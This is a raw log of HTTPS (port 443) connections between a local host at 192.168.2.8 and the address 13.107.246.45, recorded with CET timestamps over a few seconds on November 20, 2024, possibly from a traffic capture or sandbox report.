Nov 20, 2024 13:28:55.517855883 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.517900944 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.517951965 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.518763065 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.518924952 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.519252062 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.519268990 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.519278049 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.520195961 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.520222902 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.520236969 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.520245075 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.524704933 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.524744034 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.524904013 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.528779984 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.528810978 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.528872967 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.529515982 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.529531956 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.532690048 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.532702923 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.533776045 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.533803940 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.533865929 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.534154892 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.534167051 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.953350067 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.957576036 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.979360104 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.979439974 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.979978085 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.979994059 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.980313063 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.980335951 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.981018066 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.981023073 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.078670025 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.078768015 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.078813076 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.078829050 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.078891993 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.084261894 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.084458113 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.084517002 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.097116947 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.097156048 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.097184896 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.097199917 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.098890066 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.098921061 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.098934889 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.098943949 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.104880095 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.104907036 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.104971886 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.140762091 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.140777111 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.145658970 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.145694971 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.145754099 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.145909071 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.145932913 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.399091959 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.399761915 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.399787903 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.400449038 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.400458097 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.432646036 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.433326006 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.433346987 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.433729887 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.433737040 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.439543962 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.439995050 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.440017939 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.440546989 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.440553904 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.498954058 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.499067068 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.499167919 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.499418020 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.499437094 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.499449968 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.499456882 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.503546953 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.503623009 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.503706932 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.503884077 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.503921032 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.542792082 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.543622971 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.543711901 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.543762922 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.543777943 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.543905020 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.543950081 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.544281960 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.544326067 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.545125961 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.545145988 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.545156956 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.545162916 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.545299053 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.545305014 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.549701929 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.549746990 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.549808979 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.550079107 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.550097942 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.550100088 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.550120115 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.550180912 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.550287008 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.550302982 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.781636000 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.782560110 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.782581091 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.782857895 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.782862902 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.794919014 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.795681000 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.795711994 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.796866894 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.796873093 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.883054972 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.883120060 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.883163929 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.883224010 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.883450985 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.883467913 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.883496046 CET	49971	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.883502960 CET	443	49971	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.887337923 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.887442112 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.887531042 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.887737989 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.887773991 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.904967070 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.905033112 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.905086040 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.905141115 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.905293941 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.905316114 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.905328989 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.905335903 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.908055067 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.908098936 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:56.908158064 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.908274889 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:56.908292055 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.191158056 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.191193104 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.191936016 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.192017078 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.192054987 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.192116976 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.192708969 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.192723989 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.192740917 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.192755938 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.197705984 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.198074102 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.198106050 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.198602915 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.198613882 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.295991898 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.296274900 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.296348095 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.296415091 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.296415091 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.296459913 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.296494007 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.299726009 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.299772024 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.299861908 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.300040960 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.300056934 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.304105997 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.304224968 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.304328918 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.304327965 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.304421902 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.304467916 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.304467916 CET	49975	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.304516077 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.304543972 CET	443	49975	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.307089090 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.307133913 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.307199001 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.307311058 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.307327032 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.307884932 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.307940006 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.308094025 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.308129072 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.308129072 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.308146000 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.308166981 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.310503006 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.310597897 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.310739040 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.310872078 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.310904980 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.607089996 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.607325077 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.607882977 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.607903957 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.607923985 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.607930899 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.608531952 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.608540058 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.608683109 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.608690977 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.715811014 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.715883017 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.715939999 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.715950012 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.715984106 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.716197968 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.716223001 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.716238022 CET	49977	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.716244936 CET	443	49977	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.719441891 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.719538927 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.719715118 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.719878912 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.719903946 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725490093 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725509882 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725568056 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.725593090 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725672960 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725722075 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.725778103 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.725802898 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.725819111 CET	49976	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.725826979 CET	443	49976	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.728305101 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.728399038 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.728514910 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.728687048 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.728724003 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.990597963 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.991445065 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.991511106 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:57.992111921 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:57.992126942 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.033027887 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.033673048 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.033752918 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.034224033 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.034231901 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.052459002 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.053028107 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.053061008 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.053627014 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.053641081 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.095084906 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.095366955 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.095432997 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.095501900 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.097002029 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.097002983 CET	49978	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.097053051 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.097079992 CET	443	49978	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.099838972 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.099939108 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.100089073 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.100342035 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.100394011 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.131702900 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.131983042 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.132050037 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.132087946 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.132108927 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.132119894 CET	49980	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.132126093 CET	443	49980	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.135514975 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.135559082 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.135648966 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.135807991 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.135837078 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.158386946 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.158921003 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.158999920 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.160162926 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.160162926 CET	49979	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.160187960 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.160203934 CET	443	49979	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.164001942 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.164022923 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.164582014 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.164904118 CET	49985	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.164913893 CET	443	49985	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.367574930 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.368160963 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.368397951 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.368438005 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.368805885 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.368817091 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.369038105 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.369075060 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.369395971 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.369411945 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.470381021 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.470549107 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.470696926 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.472328901 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.473094940 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.473153114 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.473232031 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.497520924 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.497555971 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.497600079 CET	49981	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.497612000 CET	443	49981	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.498666048 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.498693943 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.498733997 CET	49982	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.498740911 CET	443	49982	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.501532078 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501565933 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.501569986 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501590967 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.501665115 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501838923 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501838923 CET	49987	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501866102 CET	443	49987	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.501899004 CET	49986	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.501918077 CET	443	49986	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.740248919 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.747246981 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.747309923 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.751300097 CET	49983	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.751331091 CET	443	49983	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.777939081 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.790904999 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.790931940 CET	443	49984	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:58.791616917 CET	49984	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:58.791626930 CET	443	49984	13.107.246.45	192.168.2.8
